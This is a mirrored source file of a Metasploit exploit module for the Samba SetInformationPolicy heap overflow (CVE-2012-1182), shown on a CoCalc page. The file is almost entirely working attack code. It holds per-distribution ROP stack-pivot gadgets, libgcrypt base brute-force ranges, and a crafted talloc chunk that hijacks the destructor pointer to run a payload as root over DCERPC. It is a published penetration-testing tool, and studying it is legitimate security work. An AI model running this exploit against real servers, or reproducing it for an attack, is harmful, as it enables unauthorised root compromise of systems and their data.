CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/samba/setinfopolicy_heap.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = NormalRanking
8
9
include Msf::Exploit::Remote::DCERPC
10
include Msf::Exploit::Remote::SMB::Client
11
include Msf::Exploit::RopDb
12
include Msf::Exploit::Brute
13
14
def initialize(info = {})
15
super(update_info(info,
16
'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',
17
'Description' => %q{
18
This module triggers a vulnerability in the LSA RPC service of the Samba daemon
19
because of an error on the PIDL auto-generated code. Making a specially crafted
20
call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to
21
trigger a heap overflow and finally execute arbitrary code with root privileges.
22
23
The module uses brute force to guess the stackpivot/rop chain or the system()
24
address and redirect flow there in order to bypass NX. The start and stop addresses
25
for brute forcing have been calculated empirically. On the other hand the module
26
provides the StartBrute and StopBrute which allow the user to configure his own
27
addresses.
28
},
29
'Author' =>
30
[
31
'Unknown', # Vulnerability discovery
32
'blasty', # Exploit
33
'mephos', # Metasploit module
34
'sinn3r', # Metasploit module
35
'juan vazquez' # Metasploit module
36
],
37
'License' => MSF_LICENSE,
38
'References' =>
39
[
40
['CVE', '2012-1182'],
41
['OSVDB', '81303'],
42
['BID', '52973'],
43
['ZDI', '12-069']
44
],
45
'Privileged' => true,
46
'Payload' =>
47
{
48
'DisableNops' => true,
49
'Space' => 600,
50
},
51
'Platform' => %w{ linux unix },
52
# smbd process is killed soon after being exploited, need fork with meterpreter
53
'DefaultOptions' => { "PrependSetreuid" => true, "PrependSetregid" => true, "PrependFork" => true, "AppendExit" => true, "WfsDelay" => 5},
54
'Targets' =>
55
[
56
['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',
57
{
58
'Arch' => ARCH_X86,
59
'Offset' => 0x11c0,
60
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
61
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
62
'Bruteforce' =>
63
{
64
'Start' => { 'libgcrypt_base' => 0xb67f1000 },
65
'Stop' => { 'libgcrypt_base' => 0xb69ef000 },
66
'Step' => 0x1000
67
}
68
}
69
],
70
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',
71
{
72
'Arch' => ARCH_X86,
73
'Offset' => 0x11c0,
74
'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',
75
'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0
76
'Bruteforce' =>
77
{
78
'Start' => { 'libgcrypt_base' => 0xb68d9000 },
79
'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },
80
'Step' => 0x1000
81
}
82
}
83
],
84
['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',
85
{
86
'Arch' => ARCH_X86,
87
'Offset' => 0x11c0,
88
'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',
89
# when stack pivoting, we control dword [esi] (field "next" in talloc chunk), ecx and [esp+4] point to shellcode
90
'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0
91
# we jump on "pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget
92
# to effectively stack pivot
93
'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;
94
'Bruteforce' =>
95
{
96
'Start' => { 'libgcrypt_base' => 0xb6973000 },
97
'Stop' => { 'libgcrypt_base' => 0xb6b71000 },
98
'Step' => 0x1000
99
}
100
}
101
],
102
# default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date
103
#['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',
104
# {
105
# 'Arch' => ARCH_CMD,
106
# 'Offset' => 0x11c0,
107
# 'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',
108
# 'Stackpivot' => 0,
109
# 'Bruteforce' =>
110
# {
111
# # The start should be 0x950 aligned, and then step 0x1000.
112
# 'Start' => { 'Ret' => 0x00230950 },
113
# 'Stop' => { 'Ret' => 0x22a00950 },
114
# 'Step' => 0x1000
115
# }
116
# }
117
#],
118
['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',
119
{
120
'Arch' => ARCH_X86,
121
'Offset' => 0x11c0,
122
'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',
123
'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
124
'Bruteforce' =>
125
{
126
'Start' => { 'libgcrypt_base' => 0xb694f000 },
127
'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },
128
'Step' => 0x1000
129
}
130
}
131
],
132
['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',
133
{
134
'Arch' => ARCH_X86,
135
'Offset' => 0x11c0,
136
'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',
137
'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3
138
'Bruteforce' =>
139
{
140
'Start' => { 'libgcrypt_base' => 0xb6962000 },
141
'Stop' => { 'libgcrypt_base' => 0xb6a61000 },
142
'Step' => 0x1000
143
}
144
}
145
],
146
['3.5.10-0.107.el5 on CentOS 5',
147
{
148
'Arch' => ARCH_X86,
149
'Offset' => 0x11c0,
150
'Ropname' => '3.5.10-0.107.el5 on CentOS 5',
151
'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2
152
'Bruteforce' =>
153
{
154
'Start' => { 'libgcrypt_base' => 0x0037c000 },
155
'Stop' => { 'libgcrypt_base' => 0x09e73000 },
156
'Step' => 0x1000
157
}
158
}
159
]
160
161
],
162
'DisclosureDate' => '2012-04-10',
163
'DefaultTarget' => 0
164
))
165
166
register_options([
167
OptInt.new("StartBrute", [ false, "Start Address For Brute Forcing" ]),
168
OptInt.new("StopBrute", [ false, "Stop Address For Brute Forcing" ])
169
])
170
171
deregister_options('SMB::ProtocolVersion')
172
end
173
174
def exploit
175
if target.bruteforce?
176
bf = target.bruteforce
177
178
if datastore['StartBrute'] and datastore['StartBrute'] > 0
179
bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']
180
end
181
182
if datastore['StopBrute'] and datastore['StopBrute'] > 0
183
bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']
184
end
185
186
if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']
187
raise ArgumentError, "StartBrute should not be larger than StopBrute"
188
end
189
end
190
super
191
end
192
193
def brute_exploit(target_addrs)
194
print_status("Trying to exploit Samba with address 0x%.8x..." % target_addrs['libgcrypt_base'])
195
datastore['DCERPC::fake_bind_multi'] = false
196
datastore['DCERPC::max_frag_size'] = 4248
197
datastore['DCERPC::smb_pipeio'] = 'trans'
198
datastore['DCERPC::ReadTimeout'] = 3
199
200
pipe = "lsarpc"
201
202
vprint_status('Use Rex client (SMB1 only) since this module is not compatible with RubySMB client')
203
connect(versions: [1])
204
smb_login()
205
206
handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', ["\\#{pipe}"])
207
dcerpc_bind(handle)
208
dcerpc.socket.mode = 'rw'
209
# revert for other exploits
210
datastore['DCERPC::smb_pipeio'] = 'rw'
211
212
cmd = ";;;;" # padding
213
helper = 0
214
if target['Arch'] == ARCH_CMD
215
cmd << "#{payload.encoded}\x00" # system argument
216
tmp = cmd * (816/cmd.length)
217
tmp << "\x00"*(816-tmp.length)
218
ret_addr = addr
219
elsif target['Arch'] == ARCH_X86
220
cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })
221
tmp = cmd
222
tmp << "\x00"*(816-tmp.length)
223
ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']
224
# will help in stack pivot when it's not eax pointing to shellcode
225
if target['Stackpivot_helper']
226
helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']
227
end
228
end
229
230
stub = "X" * 20
231
232
stub << NDR.short(2) # level
233
stub << NDR.short(2) # level 2
234
stub << NDR.long(1) # auditing mode
235
stub << NDR.long(1) # ptr
236
stub << NDR.long(100000) # r-> count
237
stub << NDR.long(20) # array size
238
stub << NDR.long(0)
239
stub << NDR.long(100)
240
stub << rand_text_alpha(target['Offset'])
241
# Crafted talloc chunk
242
#stub << 'A' * 8 # next, prev
243
stub << NDR.long(helper) + 'A'*4 # next, prev
244
stub << NDR.long(0) + NDR.long(0) # parent, child
245
stub << NDR.long(0) # refs
246
# stub << NDR.long(target_addrs['Ret']) # destructor # will become EIP
247
stub << NDR.long(ret_addr) # destructor # will become EIP
248
stub << NDR.long(0) # name
249
stub << "AAAA" # size
250
stub << NDR.long(0xe8150c70) # flags
251
stub << "AAAABBBB"
252
stub << tmp # pointer to tmp+4 in $esp
253
stub << rand_text(32632)
254
stub << rand_text(62000)
255
256
begin
257
call(dcerpc, 0x08, stub)
258
rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError
259
rescue Rex::Proto::DCERPC::Exceptions::Fault
260
print_error('Server is most likely patched...')
261
rescue Timeout::Error
262
print_status("Timeout")
263
rescue Rex::Proto::SMB::Exceptions::LoginError
264
print_status("Rex::Proto::SMB::Exceptions::LoginError")
265
rescue => e
266
if e.to_s =~ /STATUS_PIPE_DISCONNECTED/
267
print_status('Server disconnected, this is expected')
268
end
269
end
270
handler()
271
disconnect()
272
end
273
274
def check
275
begin
276
vprint_status('Connect with SMB1 for the check method, since it needs native_lm info')
277
connect(versions: [1])
278
smb_login()
279
disconnect()
280
281
version = smb_peer_lm().scan(/Samba (\d\.\d.\d*)/).flatten[0]
282
minor = version.scan(/\.(\d*)$/).flatten[0].to_i
283
vprint_status("Version found: #{version}")
284
285
return Exploit::CheckCode::Appears if version =~ /^3\.4/ and minor < 16
286
return Exploit::CheckCode::Appears if version =~ /^3\.5/ and minor < 14
287
return Exploit::CheckCode::Appears if version =~ /^3\.6/ and minor < 4
288
289
return Exploit::CheckCode::Safe
290
291
rescue ::Exception
292
return CheckCode::Unknown
293
end
294
end
295
296
# Perform a DCE/RPC Function Call
297
def call(dcerpc, function, data, do_recv = true)
298
299
frag_size = data.length
300
if dcerpc.options['frag_size']
301
frag_size = dcerpc.options['frag_size']
302
end
303
object_id = ''
304
if dcerpc.options['object_call']
305
object_id = dcerpc.handle.uuid[0]
306
end
307
if options['random_object_id']
308
object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))
309
end
310
311
call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)
312
call_packets.each { |packet|
313
write(dcerpc, packet)
314
}
315
316
return true if not do_recv
317
318
raw_response = ''
319
320
begin
321
raw_response = dcerpc.read()
322
rescue ::EOFError
323
raise Rex::Proto::DCERPC::Exceptions::NoResponse
324
end
325
326
if (raw_response == nil or raw_response.length == 0)
327
raise Rex::Proto::DCERPC::Exceptions::NoResponse
328
end
329
330
331
dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)
332
333
if dcerpc.last_response.type == 3
334
e = Rex::Proto::DCERPC::Exceptions::Fault.new
335
e.fault = dcerpc.last_response.status
336
raise e
337
end
338
339
dcerpc.last_response.stub_data
340
end
341
342
# Used to create standard DCERPC REQUEST packet(s)
343
def make_request(opnum=0, data="", size=data.length, ctx=0, object_id = '')
344
345
opnum = opnum.to_i
346
size = size.to_i
347
ctx = ctx.to_i
348
349
chunks, frags = [], []
350
ptr = 0
351
352
# Break the request into fragments of 'size' bytes
353
while ptr < data.length
354
chunks.push( data[ ptr, size ] )
355
ptr += size
356
end
357
358
# Process requests with no stub data
359
if chunks.length == 0
360
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, '', ctx, object_id) )
361
return frags
362
end
363
364
# Process requests with only one fragment
365
if chunks.length == 1
366
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(3, opnum, chunks[0], ctx, object_id) )
367
return frags
368
end
369
370
# Create the first fragment of the request
371
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(1, opnum, chunks.shift, ctx, object_id) )
372
373
# Create all of the middle fragments
374
while chunks.length != 1
375
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(0, opnum, chunks.shift, ctx, object_id) )
376
end
377
378
# Create the last fragment of the request
379
frags.push( Rex::Proto::DCERPC::Packet.make_request_chunk(2, opnum, chunks.shift, ctx, object_id) )
380
381
return frags
382
end
383
384
# Write data to the underlying socket
385
def write(dcerpc, data)
386
dcerpc.socket.write(data)
387
data.length
388
end
389
end
390
391
392